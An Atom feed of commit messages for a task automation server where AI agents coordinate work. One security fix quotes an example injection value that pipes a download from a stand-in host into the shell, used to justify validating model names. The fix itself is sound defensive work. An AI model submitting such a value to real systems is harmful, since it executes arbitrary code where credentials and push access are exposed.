<feed xmlns='http://www.w3.org/2005/Atom'>
<title>claudomator.git/internal/task, branch main</title>
<subtitle>claudomator — task automation server
</subtitle>
<id>https://git.terst.org/claudomator.git/atom?h=main</id>
<link rel='self' href='https://git.terst.org/claudomator.git/atom?h=main'/>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/'/>
<updated>2026-07-09T19:53:26+00:00</updated>
<entry>
<title>fix(task): add role check to CurrentAttempt so evaluators are not mistaken for fix attempts; also exclude .agent-home from git</title>
<updated>2026-07-09T19:53:26+00:00</updated>
<author>
<name>Agent</name>
<email>agent@claudomator</email>
</author>
<published>2026-07-09T19:53:26+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=65b96c0dc82e011bac18b24cff197fb16963d3d2'/>
<id>urn:sha1:65b96c0dc82e011bac18b24cff197fb16963d3d2</id>
<content type='text'>
</content>
</entry>
<entry>
<title>feat(task,executor): add CurrentAttempt resolution, wire maybeUnblockParent to resolve through it</title>
<updated>2026-07-09T04:39:05+00:00</updated>
<author>
<name>Claudomator Agent</name>
<email>agent@claudomator.local</email>
</author>
<published>2026-07-09T04:39:05+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=4ba335c8eacb3f9e20bccce1643b2e5320d5239d'/>
<id>urn:sha1:4ba335c8eacb3f9e20bccce1643b2e5320d5239d</id>
<content type='text'>
</content>
</entry>
<entry>
<title>style: gofmt executor.go, executor_test.go, task.go</title>
<updated>2026-07-09T03:59:51+00:00</updated>
<author>
<name>Peter Stone</name>
<email>thepeterstone@gmail.com</email>
</author>
<published>2026-07-09T03:59:51+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=0fc0c1e6ee0f106da7b91da7847c163936128051'/>
<id>urn:sha1:0fc0c1e6ee0f106da7b91da7847c163936128051</id>
<content type='text'>
Pre-existing gofmt debt on all three files (confirmed dirty before
this session's nested-subtask-completion commit too, not a
regression) -- cleaned up while already touching these files.
</content>
</entry>
<entry>
<title>fix(executor): support nested subtask decomposition (subtask-with-own-subtasks correctly blocks, cascades, and recovers)</title>
<updated>2026-07-09T03:53:51+00:00</updated>
<author>
<name>Claudomator Agent</name>
<email>agent@claudomator</email>
</author>
<published>2026-07-09T03:53:51+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=ad00e1865c19afd40c8d159dbb55668ed6b51b12'/>
<id>urn:sha1:ad00e1865c19afd40c8d159dbb55668ed6b51b12</id>
<content type='text'>
</content>
</entry>
<entry>
<title>feat(task,storage): add Task.AcceptanceCriteria, mirroring story.Story's pattern</title>
<updated>2026-07-09T03:02:18+00:00</updated>
<author>
<name>Claudomator Agent</name>
<email>agent@claudomator.local</email>
</author>
<published>2026-07-09T03:02:18+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=5ea8f50b0c43a23af6e65bce1fe057a355cb1929'/>
<id>urn:sha1:5ea8f50b0c43a23af6e65bce1fe057a355cb1929</id>
<content type='text'>
</content>
</entry>
<entry>
<title>fix(task): reject shell metacharacters in Agent.Model</title>
<updated>2026-07-08T04:39:42+00:00</updated>
<author>
<name>Peter Stone</name>
<email>thepeterstone@gmail.com</email>
</author>
<published>2026-07-08T04:39:42+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=0cedb90d44b09c9eda296bcdb8cedd5b58d76d22'/>
<id>urn:sha1:0cedb90d44b09c9eda296bcdb8cedd5b58d76d22</id>
<content type='text'>
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.

Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).

Co-Authored-By: Claude Sonnet 5 &lt;noreply@anthropic.com&gt;
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
</content>
</entry>
<entry>
<title>feat(story,scheduler): add epic-proposal tool + AskUser-timeout escalation (Phase 7c)</title>
<updated>2026-07-04T04:39:28+00:00</updated>
<author>
<name>Claude Sonnet 5</name>
<email>noreply@anthropic.com</email>
</author>
<published>2026-07-04T04:39:28+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=04b6e7eef473cb6eb69e345a4ea08243a8713077'/>
<id>urn:sha1:04b6e7eef473cb6eb69e345a4ea08243a8713077</id>
<content type='text'>
Two independent pieces, completing Phase 7.

Epic-proposal tool: AgentChannel gains a 5th method, ProposeEpic(ctx,
EpicProposal{Name, Description, StoryIDs}) (epicID, err), implemented on
storeChannel -- matches an existing epic by exact name or creates one
(DiscoverySource: "agent"), sets epic_id on each resolvable story (skips,
doesn't fail, on an unresolved ID), emits KindEpicProposed attached to the
epic's own ID with payload {epic_id, name, story_ids}. Wired into both
transports exactly like Phase 6 wired role into spawn_subtask: a new
propose_epic tool in the native tool-use loop (internal/agentloop/tools.go)
and the MCP transport (internal/executor/agentmcp.go). This is the mechanism
for a discovery/planner-role agent to act on its own judgment that several
stories it's been given form one cohesive initiative -- the judgment itself
lives in the calling agent's instructions/model, not in this code.

AskUser-timeout escalation: extends the existing Scheduler (Phase 5's
retry-then-escalate watcher) rather than adding a new component, since
"stuck task needs escalation" is exactly what it already does. Finds
role-typed BLOCKED tasks whose question has been outstanding longer than
SchedulerConfig.AskUserTimeoutSeconds (default 10 minutes) using
task.UpdatedAt as the outstanding-since timestamp -- no new column needed,
since UpdateTaskQuestion already stamps it the instant a question is
recorded and nothing else touches the row while BLOCKED. Resolves the next
ladder tier from the latest execution's EscalationRung, records the
system-authored fallback answer as an audit-trail task.Interaction, clears
the question, sets the new tasks.needs_review flag, emits KindEscalated
(now carrying a trigger field: "failure" vs "ask_user_timeout" for the
existing failure-retry path vs this one), and resumes via Pool.SubmitResume
at the escalated tier -- degrading to same-tier resume with final:true if
the ladder's exhausted or no role config exists, since unblocking the task
takes priority over having somewhere higher to escalate to.
GET /api/tasks?needs_review=true surfaces auto-decided tasks for human
review.

go build/vet/test -race -count=1 all pass, full suite (20 packages), run
twice to rule out flakiness in the new tests. (One pre-existing, unrelated
test -- TestHandleRunTask_CascadesRetryToFailedDeps, a tempdir-cleanup race
-- appeared once under full-suite load per the implementing agent's report
and did not reproduce in this verification's runs either; not a regression
from this work.)

Co-Authored-By: Claude Sonnet 5 &lt;noreply@anthropic.com&gt;
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
</content>
</entry>
<entry>
<title>feat(role): add versioned role configs + escalation ladder + scheduler (Phase 5)</title>
<updated>2026-07-03T23:01:50+00:00</updated>
<author>
<name>Claude Sonnet 5</name>
<email>noreply@anthropic.com</email>
</author>
<published>2026-07-03T23:01:50+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=787b7fb1aed92c2b701724a7741576053b93cccb'/>
<id>urn:sha1:787b7fb1aed92c2b701724a7741576053b93cccb</id>
<content type='text'>
Two parts:

Part A (fixes a gap from Phase 1): Groq/OpenRouter/OpenAI were documented in
docs/api-keys-setup.md as usable once configured, but nothing actually
constructed runners for them. internal/cli/cloudrunners.go consolidates
anthropic/google/groq/openrouter/openai NativeRunner construction into one
table-driven registerCloudRunners() helper, replacing the two hand-written
per-provider blocks in serve.go/run.go. Groq/OpenRouter/OpenAI reuse
openaicompat (no new adapter code) at SandboxKind: "docker".

Part B: the token-husbanding harness's core routing mechanism.

- internal/role: RoleConfig/Tier/Rung -- a role's system prompt and a
  multi-tier (provider, model) escalation ladder, versioned via config_json.
- storage: new role_configs table (draft/active/retired, UNIQUE(role,
  version)) with transactional activate-retires-prior-active semantics;
  new executions.escalation_rung column.
- task.AgentConfig.Role string -- purely additive; every existing task shape
  (Agent.Role == "") is unaffected, proven by TestPool_Execute_NonRoleTask_Unaffected
  plus the full pre-existing suite passing unchanged.
- executor.Pool.execute(): role-typed tasks with no Agent.Type yet resolve
  tier 0 of their active ladder (round-robin across multi-candidate tiers,
  skipping rate-limited providers, falling back to soonest-clearing) before
  the existing pickAgent/Classifier path runs; SystemPrompt applies to
  Agent.SystemPromptAppend. Already-resolved role tasks (scheduler resubmits)
  get their escalation_rung re-derived read-only via findTierIndex.
- internal/scheduler: polls role-typed FAILED tasks, retries at the same
  rung under MaxRetries or escalates to the next tier's first candidate when
  budget.Accountant.Allow() permits (emitting event.KindEscalated), else
  leaves the task FAILED with a final:true KindEscalated event. An
  in-memory per-execution-ID "handled" set keeps the poll loop convergent.
  Started by `serve` only, config knob [scheduler].poll_interval_seconds.
- internal/api: POST/GET /api/roles/{role}/versions, POST
  /api/roles/{role}/activate -- unauthenticated, matching the existing
  projects/tasks REST endpoints' auth posture (only chatbot MCP, agent MCP,
  and WebSocket are api_token-gated in this codebase today).

Documented as stored-but-not-yet-enforced (CLAUDE.md Design Debt, matching
how task.Priority/RetryConfig are already documented): RoleConfig.Tools/
SandboxKind don't affect dispatch yet; DefaultBudgetUSD is read narrowly as
the scheduler's escalation cost estimate, not enforced at initial dispatch;
scheduler escalation always targets Candidates[0] (no round-robin, unlike
initial-dispatch tier-0 resolution); the scheduler's dedupe is per-process
and resets on restart (idempotent, harmless).

go build/vet/test -race -count=1 all pass, 21 packages.

Co-Authored-By: Claude Sonnet 5 &lt;noreply@anthropic.com&gt;
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
</content>
</entry>
<entry>
<title>chore: remove stories/checker backend dead code</title>
<updated>2026-06-05T09:21:32+00:00</updated>
<author>
<name>Claudomator Agent</name>
<email>agent@claudomator</email>
</author>
<published>2026-06-05T09:21:32+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=0eb0b79396663c4901597becc6857a4cd795c58e'/>
<id>urn:sha1:0eb0b79396663c4901597becc6857a4cd795c58e</id>
<content type='text'>
Remove the dead stories/checker backend tracked as design debt in CLAUDE.md:
- Delete internal/api/stories.go, stories_test.go, elaborate.go
- Delete internal/task/story.go, story_test.go
- Remove story/checker columns from storage schema and all CRUD methods
- Remove checkStoryCompletion, spawnCheckerTask, triggerStoryDeploy,
  createValidationTask, checkValidationResult, ShipStory, CheckStoryCompletion
  from executor; simplify handleRunResult
- Remove story/checker fields from task.Task (StoryID, AcceptanceCriteria,
  CheckerForTaskID, CheckerReport)
- Remove story routes and geminiBinPath from API server
- Move claudeJSONResult/extractJSON from elaborate.go to validate.go
- Rename ensureStoryBranch -&gt; ensureBranch in ContainerRunner
- Fix git identity in bare-repo tests; fix initial-branch to use main

Co-Authored-By: Claude Sonnet 4.6 &lt;noreply@anthropic.com&gt;
</content>
</entry>
<entry>
<title>fix(validator): require repository_url for claude/gemini agent types</title>
<updated>2026-06-04T06:23:29+00:00</updated>
<author>
<name>Peter Stone</name>
<email>thepeterstone@gmail.com</email>
</author>
<published>2026-06-04T06:23:29+00:00</published>
<link rel='alternate' type='text/html' href='https://git.terst.org/claudomator.git/commit/?id=65b68336bcbe46582c23da53682bdd74376c42e1'/>
<id>urn:sha1:65b68336bcbe46582c23da53682bdd74376c42e1</id>
<content type='text'>
ContainerRunner fails at runtime with a non-descriptive error if
repository_url is missing. Catch it at task creation time instead.

Co-Authored-By: Claude Sonnet 4.6 &lt;noreply@anthropic.com&gt;
</content>
</entry>
</feed>
